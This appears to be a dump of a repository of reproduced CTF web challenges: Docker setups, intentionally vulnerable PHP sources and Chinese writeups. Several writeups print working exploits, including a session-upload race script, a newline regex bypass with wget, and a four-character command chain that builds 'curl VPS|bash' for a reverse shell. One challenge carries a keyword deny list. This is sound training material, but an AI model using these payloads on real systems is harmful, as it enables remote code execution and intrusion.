├── File-Inclusion
├── XCTF-Final-2018-Bestphp
│ ├── README.md
│ ├── build
│ ├── deploy
│ │ ├── Dockerfile
│ │ ├── default
│ │ ├── src
│ │ │ ├── admin.php
│ │ │ ├── fsadgsdagsadgasd.php
│ │ │ ├── function.php
│ │ │ └── index.php
│ │ └── start.sh
│ ├── run
│ └── writeup
│ │ └── README.md
└── hitcon-2018-one-line-php-challenge
│ ├── README.md
│ ├── build
│ ├── deploy
│ ├── Dockerfile
│ ├── default
│ ├── src
│ │ └── index.php
│ └── start.sh
│ ├── run
│ └── writeup
│ ├── README.md
│ └── img
│ ├── decode.png
│ ├── default.png
│ └── session.png
├── RCE
├── hitcon-2015-babyfirst
│ ├── README.md
│ ├── build
│ ├── deploy
│ │ ├── Dockerfile
│ │ ├── default
│ │ ├── src
│ │ │ └── index.php
│ │ └── start.sh
│ ├── run
│ └── writeup
│ │ ├── README.md
│ │ └── img
│ │ └── php_tar.png
├── hitcon-2017-babyfirst-revenge-v2
│ ├── README.md
│ ├── build
│ ├── deploy
│ │ ├── Dockerfile
│ │ ├── db.sql
│ │ ├── default
│ │ ├── src
│ │ │ └── index.php
│ │ └── start.sh
│ ├── run
│ └── writeup
│ │ └── README.md
└── hitcon-2017-babyfirst-revenge
│ ├── README.md
│ ├── build
│ ├── deploy
│ ├── Dockerfile
│ ├── db.sql
│ ├── default
│ ├── src
│ │ └── index.php
│ └── start.sh
│ ├── run
│ └── writeup
│ ├── README.md
│ └── img
│ └── shell.png
├── README.md
├── SSRF
├── 34c3-2017-extract0r
│ ├── README.md
│ ├── build
│ ├── deploy
│ │ ├── 000-default.conf
│ │ ├── Dockerfile
│ │ ├── db.sql
│ │ ├── files
│ │ │ └── create_a_backup_of_my_supersecret_flag.sh
│ │ ├── mysqld.cnf
│ │ ├── start.sh
│ │ └── webroot
│ │ │ ├── cyber_filter
│ │ │ ├── files
│ │ │ └── index.php
│ │ │ ├── index.php
│ │ │ └── url.php
│ ├── run
│ └── writeup
│ │ ├── README.md
│ │ ├── __init__.py
│ │ ├── exploit.py
│ │ ├── img
│ │ ├── dir.png
│ │ └── glob.png
│ │ └── zip_tools.py
└── n1ctf-2018-easy_harder_php
│ ├── README.md
│ ├── build
│ ├── deploy
│ ├── Dockerfile
│ ├── clean_danger.sh
│ ├── clear_db.sh
│ ├── nu1lctf.tar.gz
│ ├── run.sh
│ └── sql.sql
│ ├── run
│ └── writeup
│ ├── README.md
│ └── img
│ ├── burp.png
│ ├── payload.png
│ └── shell.png
├── Unserialization
├── hitcon-2016-babytrick
│ ├── README.md
│ ├── build
│ ├── deploy
│ │ ├── Dockerfile
│ │ ├── db.sql
│ │ ├── src
│ │ │ ├── config.php
│ │ │ └── index.php
│ │ └── start.sh
│ ├── run
│ └── writeup
│ │ └── README.md
├── hitcon-2017-baby^h-master-php
│ ├── README.md
│ ├── build
│ ├── deploy
│ │ ├── Dockerfile
│ │ ├── default
│ │ ├── src
│ │ │ ├── index.php
│ │ │ ├── read_flag
│ │ │ └── read_secret
│ │ └── start.sh
│ ├── run
│ └── writeup
│ │ └── README.md
├── hitcon-2018-baby-cake
│ ├── README.md
│ ├── build
│ ├── deploy
│ │ ├── Dockerfile
│ │ ├── default
│ │ ├── src
│ │ │ ├── baby_cake.tgz
│ │ │ └── read_flag
│ │ └── start.sh
│ ├── run
│ └── writeup
│ │ ├── README.md
│ │ └── img
│ │ └── passwd.png
└── lctf-2018-babyphp's-revenge
│ ├── README.md
│ ├── build
│ ├── deploy
│ ├── Dockerfile
│ ├── default
│ ├── src
│ │ ├── flag.php
│ │ └── index.php
│ └── start.sh
│ ├── run
│ └── writeup
│ ├── README.md
│ └── img
│ └── call_user_func.png
└── XSS
└── 34c3-2017-urlstorage
├── README.md
├── build
├── deploy
├── Dockerfile
├── app
│ ├── .gitignore
│ ├── manage.py
│ └── urlstorage
│ │ ├── __init__.py
│ │ ├── fixtures
│ │ └── admin.yaml
│ │ ├── middleware.py
│ │ ├── migrations
│ │ ├── 0001_initial.py
│ │ └── __init__.py
│ │ ├── models.py
│ │ ├── settings.py
│ │ ├── static
│ │ ├── css
│ │ │ └── milligram.min.css
│ │ └── pow.py
│ │ ├── templates
│ │ ├── base.html
│ │ ├── contact.html
│ │ ├── flag.html
│ │ ├── index.html
│ │ └── login.html
│ │ ├── urls.py
│ │ ├── views.py
│ │ └── wsgi.py
├── db.sql
├── mysqld.cnf
├── nginx
│ └── default
├── scripts
│ ├── run_bot.py
│ ├── run_bot.sh
│ └── visit.js
└── start.sh
├── run
└── writeup
├── README.md
├── exploit.php
├── img
├── css.png
└── rpo.png
└── jquery.js
/File-Inclusion/XCTF-Final-2018-Bestphp/README.md:
--------------------------------------------------------------------------------
1 | # 来源
2 | [session_start()&bestphp](https://www.anquanke.com/post/id/164569)
--------------------------------------------------------------------------------
/File-Inclusion/XCTF-Final-2018-Bestphp/build:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | docker build -t="ctf/bestphp" ./deploy
--------------------------------------------------------------------------------
/File-Inclusion/XCTF-Final-2018-Bestphp/deploy/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:16.04
2 |
3 | RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list
4 |
5 | ENV TZ=Asia/Shanghai
6 | RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone
7 |
8 | RUN apt-get update -y
9 |
10 | # 安装题目或许需要的辅助工具
11 | RUN apt-get install -y wget curl
12 |
13 | # 安装 PHP 及 nginx
14 | RUN apt-get install -y nginx \
15 | php7.0-fpm
16 |
17 |
18 | # 文件移动
19 | COPY ./default /etc/nginx/sites-available/default
20 | COPY ./src/* /var/www/html/
21 |
22 | COPY ./start.sh /start.sh
23 | RUN rm /var/www/html/*.html
24 | RUN chmod a+x /start.sh
25 |
26 | # 题目环境
27 | RUN echo 'xctf{Funy_s3ss1On}' > /flag
28 | RUN chown -R www-data:www-data /var/www/html \
29 | && ln -s /var/www/html /html
30 |
31 | # 清除
32 | RUN apt-get clean \
33 | && rm -rf /var/lib/apt/lists/*
34 |
35 | EXPOSE 80
36 | CMD ["/start.sh"]
--------------------------------------------------------------------------------
/File-Inclusion/XCTF-Final-2018-Bestphp/deploy/default:
--------------------------------------------------------------------------------
1 | server {
2 |
3 |
4 | listen 80;
5 | root /var/www/html;
6 | index index.php index.html index.htm;
7 |
8 | server_name localhost;
9 | location ~ \.php$ {
10 | include snippets/fastcgi-php.conf;
11 |
12 | # With php5-cgi alone:
13 | #fastcgi_pass 127.0.0.1:9000;
14 | # With php5-fpm:
15 | fastcgi_pass unix:/var/run/php/php7.0-fpm.sock;
16 | }
17 | }
--------------------------------------------------------------------------------
/File-Inclusion/XCTF-Final-2018-Bestphp/deploy/src/admin.php:
--------------------------------------------------------------------------------
1 | hello admin
2 |
--------------------------------------------------------------------------------
/File-Inclusion/XCTF-Final-2018-Bestphp/deploy/src/fsadgsdagsadgasd.php:
--------------------------------------------------------------------------------
1 | //flag{best_H4cker_in_xctf}
--------------------------------------------------------------------------------
/File-Inclusion/XCTF-Final-2018-Bestphp/deploy/src/function.php:
--------------------------------------------------------------------------------
1 | $value){
4 | if(preg_match('/eval|assert|exec|passthru|glob|system|popen/i',$value)){
5 | die('Do not hack me!');
6 | }
7 | }
8 | }
9 | ?>
--------------------------------------------------------------------------------
/File-Inclusion/XCTF-Final-2018-Bestphp/deploy/src/index.php:
--------------------------------------------------------------------------------
1 |
2 |
3 | BabyPHP
4 |
5 |
6 |
7 |
11 |
12 |
13 |
14 |
--------------------------------------------------------------------------------
/File-Inclusion/XCTF-Final-2018-Bestphp/deploy/start.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | service nginx restart
3 | service php7.0-fpm start
4 |
5 | /usr/bin/tail -f /dev/null
--------------------------------------------------------------------------------
/File-Inclusion/XCTF-Final-2018-Bestphp/run:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | docker run -d -p 8003:80 ctf/bestphp
--------------------------------------------------------------------------------
/File-Inclusion/XCTF-Final-2018-Bestphp/writeup/README.md:
--------------------------------------------------------------------------------
1 | # XCTF-Final-2018-Bestphp
2 | ```php
3 |
17 | ```
18 |
19 | ### 文件包含
20 |
21 | 可以发现 `call_user_func($func,$_GET);` 未做任何过滤,而后面有 `include($file);` 因此可利用 `extract` 进行变量覆盖,实现文件包含。
22 |
23 | 由于这里读取 `admin.php` 与 `function.php` 对解题没用,就不贴代码了。
24 |
25 | ### session_start 函数
26 | 继续往后看,发现 session 值可控,session 默认保存在以下位置:
27 | ```
28 | /var/lib/php/sess_PHPSESSID
29 | /var/lib/php/sessions/sess_PHPSESSID
30 |
31 | /var/lib/php5/sess_PHPSESSID
32 | /var/lib/php5/sessions/sess_PHPSESSID
33 |
34 | /tmp/sess_PHPSESSID
35 | /tmp/sessions/sess_PHPSESSID
36 | ```
37 | `/tmp` 目录下无法找到 session,因此 session 应该在 `/var/lib` 目录下。但由于 `ini_set('open_basedir', '/var/www/html:/tmp');` 的设置,无法包含 /var/lib 下的 session。
38 |
39 | `session_start` 函数存在 `options` 数组参数,如果提供会覆盖 session 配置项,而其中包含了 `save_path`,可用来修改 session 保存位置。
40 |
41 | 因此思路是传入 `session_start` 函数修改存储位置。
42 |
43 | 尝试直接写到根目录
44 | ```shell
45 | http --form post "http://127.0.0.1:8003/?function=session_start&save_path=." name='' Cookie:PHPSESSID=ivs6beep0k4oniqru15iap6bb3
46 | ```
47 |
48 | 访问 `http://127.0.0.1:8003/?function=extract&file=sess_ivs6beep0k4oniqru15iap6bb3` 显示了 phpinfo 页面。
49 |
50 | 再用同样的方式写 shell 即可。
51 |
52 | ## Reference
53 | [session_start()&bestphp](https://www.anquanke.com/post/id/164569#h2-5)
--------------------------------------------------------------------------------
/File-Inclusion/hitcon-2018-one-line-php-challenge/README.md:
--------------------------------------------------------------------------------
1 | # 来源
2 | [orangetw/My-CTF-Web-Challenges/hitcon-ctf-2018/one-line-php-challenge/](https://github.com/orangetw/My-CTF-Web-Challenges/tree/master/hitcon-ctf-2018/one-line-php-challenge/)
--------------------------------------------------------------------------------
/File-Inclusion/hitcon-2018-one-line-php-challenge/build:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | docker build -t="ctf/one-line-php" ./deploy
--------------------------------------------------------------------------------
/File-Inclusion/hitcon-2018-one-line-php-challenge/deploy/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:16.04
2 |
3 | RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list
4 |
5 | ENV TZ=Asia/Shanghai
6 | RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone
7 |
8 | RUN apt-get update -y
9 |
10 | # 安装 PHP 及 nginx
11 | RUN apt-get install -y nginx \
12 | php7.0-fpm
13 |
14 | # 文件移动
15 | COPY ./default /etc/nginx/sites-available/default
16 | COPY ./src/index.php /var/www/html/index.php
17 | COPY ./start.sh /start.sh
18 | RUN rm /var/www/html/*.html
19 | RUN chmod a+x /start.sh
20 |
21 | # 题目环境
22 | RUN echo 'hitcon{b4by_f1rst}' > /flag
23 | RUN chown -R www-data:www-data /var/www/html \
24 | && ln -s /var/www/html /html
25 |
26 | # 清除
27 | RUN apt-get clean \
28 | && rm -rf /var/lib/apt/lists/*
29 |
30 | EXPOSE 80
31 | CMD ["/start.sh"]
--------------------------------------------------------------------------------
/File-Inclusion/hitcon-2018-one-line-php-challenge/deploy/default:
--------------------------------------------------------------------------------
1 | server {
2 | listen 80;
3 | root /var/www/html;
4 | index index.php index.html index.htm;
5 |
6 | server_name localhost;
7 | location ~ \.php$ {
8 | include snippets/fastcgi-php.conf;
9 |
10 | # With php5-cgi alone:
11 | #fastcgi_pass 127.0.0.1:9000;
12 | # With php5-fpm:
13 | fastcgi_pass unix:/var/run/php/php7.0-fpm.sock;
14 | }
15 | }
--------------------------------------------------------------------------------
/File-Inclusion/hitcon-2018-one-line-php-challenge/deploy/src/index.php:
--------------------------------------------------------------------------------
1 | `,题目却需要开头 6 个字符是 `@'
75 |
76 |
77 | while 1:
78 | junk = ''.join(sample(string.ascii_letters, randint(8, 16)))
79 | x = b64encode(payload + junk)
80 | xx = b64encode(b64encode(payload + junk))
81 | xxx = b64encode(b64encode(b64encode(payload + junk)))
82 | if '=' not in x and '=' not in xx and '=' not in xxx:
83 | payload = xxx
84 | print payload
85 | break
86 |
87 | def runner1(i):
88 | data = {
89 | 'PHP_SESSION_UPLOAD_PROGRESS': 'ZZ' + payload + 'Z'
90 | }
91 | while 1:
92 | fp = open('/etc/passwd', 'rb')
93 | r = requests.post(HOST, files={'f': fp}, data=data, headers=headers)
94 | fp.close()
95 |
96 | def runner2(i):
97 | filename = '/var/lib/php/sessions/sess_' + sess_name
98 | filename = 'php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s' % filename
99 | # print filename
100 | while 1:
101 | url = '%s?orange=%s' % (HOST, filename)
102 | r = requests.get(url, headers=headers)
103 | c = r.content
104 | if c and 'orange' not in c:
105 | print [c]
106 |
107 |
108 | if sys.argv[1] == '1':
109 | runner = runner1
110 | else:
111 | runner = runner2
112 |
113 | pool = ThreadPool(32)
114 | result = pool.map_async( runner, range(32) ).get(0xffff)
115 | ```
116 |
117 |
118 | 除了 `base64_decode` 外,也可以用其他 encode 方法,例如 `strip_tags`
119 |
120 | ## References
121 | [hitcon 2018受虐笔记一:one-line-php-challenge 学习](http://wonderkun.cc/index.html/?p=718)
122 |
123 | [HITCON CTF 2018 Web](http://blog.kaibro.tw/2018/10/24/HITCON-CTF-2018-Web/)
124 |
125 |
--------------------------------------------------------------------------------
/File-Inclusion/hitcon-2018-one-line-php-challenge/writeup/img/decode.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shimmeris/CTF-Web-Challenges/ba741a2d18bd624b420e3b69874eed337578f91f/File-Inclusion/hitcon-2018-one-line-php-challenge/writeup/img/decode.png
--------------------------------------------------------------------------------
/File-Inclusion/hitcon-2018-one-line-php-challenge/writeup/img/default.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shimmeris/CTF-Web-Challenges/ba741a2d18bd624b420e3b69874eed337578f91f/File-Inclusion/hitcon-2018-one-line-php-challenge/writeup/img/default.png
--------------------------------------------------------------------------------
/File-Inclusion/hitcon-2018-one-line-php-challenge/writeup/img/session.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shimmeris/CTF-Web-Challenges/ba741a2d18bd624b420e3b69874eed337578f91f/File-Inclusion/hitcon-2018-one-line-php-challenge/writeup/img/session.png
--------------------------------------------------------------------------------
/RCE/hitcon-2015-babyfirst/README.md:
--------------------------------------------------------------------------------
1 | # 来源
2 | [orangetw/My-CTF-Web-Challenges/hitcon-ctf-2015/babyfirst/](https://github.com/orangetw/My-CTF-Web-Challenges/tree/master/hitcon-ctf-2015/babyfirst)
--------------------------------------------------------------------------------
/RCE/hitcon-2015-babyfirst/build:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | docker build -t="ctf/babyfirst" ./deploy
--------------------------------------------------------------------------------
/RCE/hitcon-2015-babyfirst/deploy/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:16.04
2 |
3 | RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list
4 |
5 | ENV TZ=Asia/Shanghai
6 | RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone
7 |
8 | RUN apt-get update -y
9 |
10 | # 安装题目或许需要的辅助工具
11 | RUN apt-get install -y wget curl
12 |
13 | # 安装 PHP 及 nginx
14 | RUN apt-get install -y nginx \
15 | php7.0-fpm
16 |
17 | # 安装 crontab,每天 4 点清空 sandbox
18 | RUN apt-get install -y cron
19 | RUN echo '0 4 * * * root rm -rf /sandbox/*' >> /etc/crontab
20 |
21 | # 文件移动
22 | COPY ./default /etc/nginx/sites-available/default
23 | COPY ./src/index.php /var/www/html/index.php
24 | COPY ./start.sh /start.sh
25 | RUN rm /var/www/html/*.html
26 | RUN chmod a+x /start.sh
27 |
28 | # 题目环境
29 | RUN echo 'hitcon{b4by_f1rst}' > /flag
30 | RUN ln -s /bin/true /bin/orange
31 | RUN chown -R www-data:www-data /var/www/html \
32 | && ln -s /var/www/html /html
33 | RUN mkdir /sandbox
34 | RUN chown -R www-data /sandbox
35 | RUN chmod -R 775 /sandbox
36 |
37 | # 清除
38 | RUN apt-get clean \
39 | && rm -rf /var/lib/apt/lists/*
40 |
41 | EXPOSE 80
42 | CMD ["/start.sh"]
--------------------------------------------------------------------------------
/RCE/hitcon-2015-babyfirst/deploy/default:
--------------------------------------------------------------------------------
1 | server {
2 | listen 80;
3 | root /var/www/html;
4 | index index.php index.html index.htm;
5 |
6 | server_name localhost;
7 | location ~ \.php$ {
8 | include snippets/fastcgi-php.conf;
9 |
10 | # With php5-cgi alone:
11 | #fastcgi_pass 127.0.0.1:9000;
12 | # With php5-fpm:
13 | fastcgi_pass unix:/var/run/php/php7.0-fpm.sock;
14 | }
15 | }
--------------------------------------------------------------------------------
/RCE/hitcon-2015-babyfirst/deploy/src/index.php:
--------------------------------------------------------------------------------
1 |
16 |
--------------------------------------------------------------------------------
/RCE/hitcon-2015-babyfirst/deploy/start.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | service nginx restart
3 | service php7.0-fpm start
4 | service cron start
5 |
6 |
7 | /usr/bin/tail -f /dev/null
8 |
--------------------------------------------------------------------------------
/RCE/hitcon-2015-babyfirst/run:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | docker run -d -p 8002:80 ctf/babyfirst
--------------------------------------------------------------------------------
/RCE/hitcon-2015-babyfirst/writeup/README.md:
--------------------------------------------------------------------------------
1 | # hitcon-2015-babyfirst
2 |
3 | ```php
4 |
19 | ```
20 |
21 | 题目存在几个难点:
22 |
23 | 1.绕过正则及 /bin/orange 的前缀执行命令
24 |
25 | 2.写入木马并执行
26 |
27 | ## 绕过
28 | 该问题是正则表达式的一个特性,**`/^\w+$\` 中的 `$` 当遇到字符串的结尾是换行符(%0a)时还是可以匹配**。于是就解决了第一个问题,绕过了正则,同时利用换行符得以执行其他命令。
29 | `http://ip/?args[]=xxx%0a&args[]=touch&args[]=test`
30 |
31 | ## 写入木马
32 | 由于只能传入字母,直接写文件肯定不行,那么只有尝试下载文件了。
33 |
34 | ### wget 下载
35 | 由于 ip 地址的多样性(可参考[IP地址混淆](https://findneo.tech/171125TextualRepresentationOfIPAddress/)),可以使用十进制表示 ip 从而避免使用 `.`。
36 |
37 | 但又由于 wget 下载不到后台的 php 源码,只能获取 php 解析之后的 html 文件,因此下载之后没有办法直接执行。
38 |
39 | ### php 执行代码
40 | 这里又存在一个知识点:**在 Linux 中 PHP 能够执行非压缩的打包的 PHP 文件**
41 |
42 | 
43 |
44 |
45 | ## getshell
46 | 于是思路就出来了,先在自己的 vps 上创建一个 index.html:
47 |
48 | ```php
49 | ');
54 | ```
55 |
56 | 接着执行
57 | ```
58 | http://ip/?args[]=xxx%0a&args[]=mkdir&args[]=exploit 创建exploit文件夹
59 |
60 | http://ip/?args[]=xxx%0a&args[]=cd&args[]=exploit%0a&args[]=wget&args[]=vps十进制地址 进入exploit文件夹,下载 vps 的 index.html文件。
61 |
62 | http://ip/?args[]=xxx%0a&args[]=tar&args[]=cvf&args[]=archived&args[]=exploit 压缩文件夹
63 |
64 | http://ip/?args[]=xxx%0a&args[]=php&args[]=archived 执行文件
65 | ```
66 |
67 | ## 其他解法
68 | 题目的核心就是将 PHP 源文件下载到服务器,因此还存在其他几种解法
69 |
70 | ```shell
71 | 1. busybox ftpget FTP 服务器
72 |
73 | 2. twistd telnet
74 |
75 | 3. wget VPS # VPS 302 重定向到 FTP 协议
76 | ```
77 |
78 | ## References
79 | [Babyfirst的分析和解答](https://blog.spoock.com/2017/09/09/Babyfirst-writeup/)
--------------------------------------------------------------------------------
/RCE/hitcon-2015-babyfirst/writeup/img/php_tar.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shimmeris/CTF-Web-Challenges/ba741a2d18bd624b420e3b69874eed337578f91f/RCE/hitcon-2015-babyfirst/writeup/img/php_tar.png
--------------------------------------------------------------------------------
/RCE/hitcon-2017-babyfirst-revenge-v2/README.md:
--------------------------------------------------------------------------------
1 | # 来源
2 | [orangetw/My-CTF-Web-Challenges/hitcon-ctf-2017/babyfirst-revenge/](https://github.com/orangetw/My-CTF-Web-Challenges/tree/master/hitcon-ctf-2017/babyfirst-revenge-v2)
--------------------------------------------------------------------------------
/RCE/hitcon-2017-babyfirst-revenge-v2/build:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | docker build -t="ctf/babyfirst_revenge_v2" ./deploy
--------------------------------------------------------------------------------
/RCE/hitcon-2017-babyfirst-revenge-v2/deploy/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:16.04
2 | ENV DEBIAN_FRONTEND noninteractive
3 |
4 | RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list
5 |
6 | ENV TZ=Asia/Shanghai
7 | RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone
8 |
9 | RUN apt-get update -y
10 |
11 | # 安装题目或许需要的辅助工具
12 | RUN apt-get install -y curl wget
13 |
14 | # 安装 PHP 及 nginx
15 | RUN apt-get install -y nginx \
16 | php7.0-fpm
17 |
18 | # 安装 crontab,每天 4 点清空 sandbox
19 | RUN apt-get install -y cron
20 | RUN echo '0 4 * * * root rm -rf /www/sandbox/*' >> /etc/crontab
21 |
22 | # 文件移动
23 | COPY ./default /etc/nginx/sites-available/default
24 | COPY ./src/index.php /var/www/html/index.php
25 | COPY ./db.sql /tmp/db.sql
26 | COPY ./start.sh /start.sh
27 |
28 | RUN rm /var/www/html/*.html
29 | RUN chown -R www-data:www-data /var/www/html \
30 | && ln -s /var/www/html /html
31 | RUN chmod a+x /start.sh
32 |
33 | # 题目环境
34 | RUN mkdir /www
35 | RUN mkdir /www/sandbox
36 | RUN chown -R www-data /www/sandbox
37 | RUN chmod -R 775 /www/sandbox
38 |
39 | RUN echo 'Flag is in the MySQL database\nfl4444g / SugZXUtgeJ52_Bvr' > /README.txt
40 |
41 | # 数据库配置
42 | RUN apt-get install -y php-mysql \
43 | mysql-client \
44 | mysql-server \
45 | && service mysql start \
46 | && mysqladmin -uroot password HuQ3stwHJ \
47 | && mysql -e "source /tmp/db.sql;" -uroot -pHuQ3stwHJ \
48 | && rm /tmp/db.sql
49 |
50 | # 清除
51 | RUN apt-get clean \
52 | && rm -rf /var/lib/apt/lists/*
53 |
54 | EXPOSE 80
55 | CMD ["/start.sh"]
--------------------------------------------------------------------------------
/RCE/hitcon-2017-babyfirst-revenge-v2/deploy/db.sql:
--------------------------------------------------------------------------------
1 | create database fl4gdb;
2 |
3 | use fl4gdb;
4 | CREATE USER 'fl4444g'@'localhost' IDENTIFIED BY 'SugZXUtgeJ52_Bvr';
5 | grant select on *.* to 'fl4444g'@'localhost';
6 |
7 | CREATE TABLE IF NOT EXISTS `this_is_the_fl4g` (
8 | `secret` varchar(225) NOT NULL
9 | ) ENGINE=InnoDB DEFAULT CHARSET=utf8;
10 |
11 | INSERT INTO `this_is_the_fl4g` (`secret`) VALUES
12 | ('hitcon{idea_from_phith0n,thank_you:v2)}');
--------------------------------------------------------------------------------
/RCE/hitcon-2017-babyfirst-revenge-v2/deploy/default:
--------------------------------------------------------------------------------
1 | server {
2 |
3 |
4 | listen 80;
5 | root /var/www/html;
6 | index index.php index.html index.htm;
7 |
8 | server_name localhost;
9 | location ~ \.php$ {
10 | include snippets/fastcgi-php.conf;
11 |
12 | # With php5-cgi alone:
13 | #fastcgi_pass 127.0.0.1:9000;
14 | # With php5-fpm:
15 | fastcgi_pass unix:/var/run/php/php7.0-fpm.sock;
16 | }
17 | }
--------------------------------------------------------------------------------
/RCE/hitcon-2017-babyfirst-revenge-v2/deploy/src/index.php:
--------------------------------------------------------------------------------
1 | >c` 就无法实现,`ls -t>g` 也就无法生成。
18 |
19 | ## 反转字符串
20 | 这里就有另一个思路,因为 ls 的按字典顺序排序,由于符号(`- >`)在字母之前,才导致需要 `>>` 附加到文件尾部才能生成正确的 `ls -t>g` 命令,那么我们尝试将分段的文件名 `ls -t >g` 逆向生成,使得字母在前面,比如`g> t- sl`,之后再利用 `rev` 命令反转过来,得到正确的 `ls -t>g` 命令。
21 |
22 | 又由于 t 在 s 的后面,直接这样生成会导致排序出错,实际生成这样的命令 `g> sl t-`,因此可以加入 `h` 参数,`h` 是用作格式化 `l` 参数之后的存储量大小,不带 `l` 参数则无意义,这里的作用就是使得 `ht-` 能在 `sl` 之前,顺利生成 `g> -th sl` 命令。
23 |
24 | ## * 的作用
25 | `*` 相当于 `$(ls *)`,所以如果列出的第一个文件名为命令的话就会返回执行的结果,之后的作为参数传入。
26 |
27 | 我们先引入 `dir` 命令,该命令在大多数系统中都是 ls 的 alias。
28 |
29 | 因此,我们可以在当前目录下生成,`g>` `-th` `sl` `dir` 文件,通过 `*>g`(实际结果就是 `dir>g`),这里用 `dir` 而不是 `ls` 则是由于字典顺序的问题,这样 `dir` 在 `*` 命令执行后才是第一个被执行的命令,因此就能产生 `ls -ht > g` 的逆序文件
30 |
31 | 然后执行 `>rev` ,`*v` 会匹配到 `rev v`,执行后则得到正序的 `ls -ht>g`。
32 |
33 | 之后的步骤则跟 babyfirst-revenge 一样了。
34 |
35 | exp(by Orange):
36 |
37 | ```Python
38 | import requests
39 | from time import sleep
40 | from urllib import quote
41 |
42 | payload = [
43 | # generate "g> ht- sl" to file "v"
44 | '>dir',
45 | '>sl',
46 | '>g\>',
47 | '>ht-',
48 | '*>v',
49 |
50 | # reverse file "v" to file "x", content "ls -th >g"
51 | '>rev',
52 | '*v>x',
53 |
54 | # generate `curl VPS|bash`
55 | # * 为隐去的 VPS ip 地址十进制的某位
56 | '>\;\\',
57 | '>sh\\',
58 | '>ba\\',
59 | '>\|\\',
60 | '>2\\',
61 | '>1*\\',
62 | '>8*\\',
63 | '>5*\\',
64 | '>7*\\',
65 | '>\ \\',
66 | '>rl\\',
67 | '>cu\\',
68 |
69 | # got shell
70 | 'sh x',
71 | 'sh g',
72 | ]
73 |
74 |
75 | r = requests.get('http://127.0.0.1:8009/?reset=1')
76 | for i in payload:
77 | assert len(i) <= 4
78 | r = requests.get('http://127.0.0.1:8009/?cmd=' + quote(i))
79 | print(i)
80 | sleep(0.1)
81 | ```
82 |
83 | ## References
84 | [HITCON 2017 babyfirst-revenge[-v2]浅析](https://xz.aliyun.com/t/1579)
--------------------------------------------------------------------------------
/RCE/hitcon-2017-babyfirst-revenge/README.md:
--------------------------------------------------------------------------------
1 | # 来源
2 | [orangetw/My-CTF-Web-Challenges/hitcon-ctf-2017/babyfirst-revenge/](https://github.com/orangetw/My-CTF-Web-Challenges/tree/master/hitcon-ctf-2017/babyfirst-revenge)
--------------------------------------------------------------------------------
/RCE/hitcon-2017-babyfirst-revenge/build:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | docker build -t="ctf/babyfirst_revenge" ./deploy
--------------------------------------------------------------------------------
/RCE/hitcon-2017-babyfirst-revenge/deploy/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:16.04
2 | ENV DEBIAN_FRONTEND noninteractive
3 |
4 | RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list
5 |
6 | ENV TZ=Asia/Shanghai
7 | RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone
8 |
9 | RUN apt-get update -y
10 |
11 | # 安装题目或许需要的辅助工具
12 | RUN apt-get install -y curl wget
13 |
14 | # 安装 PHP 及 nginx
15 | RUN apt-get install -y nginx \
16 | php7.0-fpm
17 |
18 | # 安装 crontab,每天 4 点清空 sandbox
19 | RUN apt-get install -y cron
20 | RUN echo '0 4 * * * root rm -rf /www/sandbox/*' >> /etc/crontab
21 |
22 | # 文件移动
23 | COPY ./default /etc/nginx/sites-available/default
24 | COPY ./src/index.php /var/www/html/index.php
25 | COPY ./db.sql /tmp/db.sql
26 | COPY ./start.sh /start.sh
27 |
28 | RUN rm /var/www/html/*.html
29 |
30 | RUN chown -R www-data:www-data /var/www/html \
31 | && ln -s /var/www/html /html
32 | RUN chmod a+x /start.sh
33 |
34 | # 题目环境
35 | RUN mkdir /www
36 | RUN mkdir /www/sandbox
37 | RUN chown -R www-data /www/sandbox
38 | RUN chmod -R 775 /www/sandbox
39 |
40 | RUN echo 'Flag is in the MySQL database\nfl4444g / SugZXUtgeJ52_Bvr' > /README.txt
41 |
42 | # 数据库配置
43 | RUN apt-get install -y php-mysql \
44 | mysql-client \
45 | mysql-server \
46 | && service mysql start \
47 | && mysqladmin -uroot password HuQ3stwHJ \
48 | && mysql -e "source /tmp/db.sql;" -uroot -pHuQ3stwHJ \
49 | && rm /tmp/db.sql
50 |
51 | # 清除
52 | RUN apt-get clean \
53 | && rm -rf /var/lib/apt/lists/*
54 |
55 | EXPOSE 80
56 | CMD ["/start.sh"]
--------------------------------------------------------------------------------
/RCE/hitcon-2017-babyfirst-revenge/deploy/db.sql:
--------------------------------------------------------------------------------
1 | create database fl4gdb;
2 |
3 | use fl4gdb;
4 | CREATE USER 'fl4444g'@'localhost' IDENTIFIED BY 'SugZXUtgeJ52_Bvr';
5 | grant select on *.* to 'fl4444g'@'localhost';
6 |
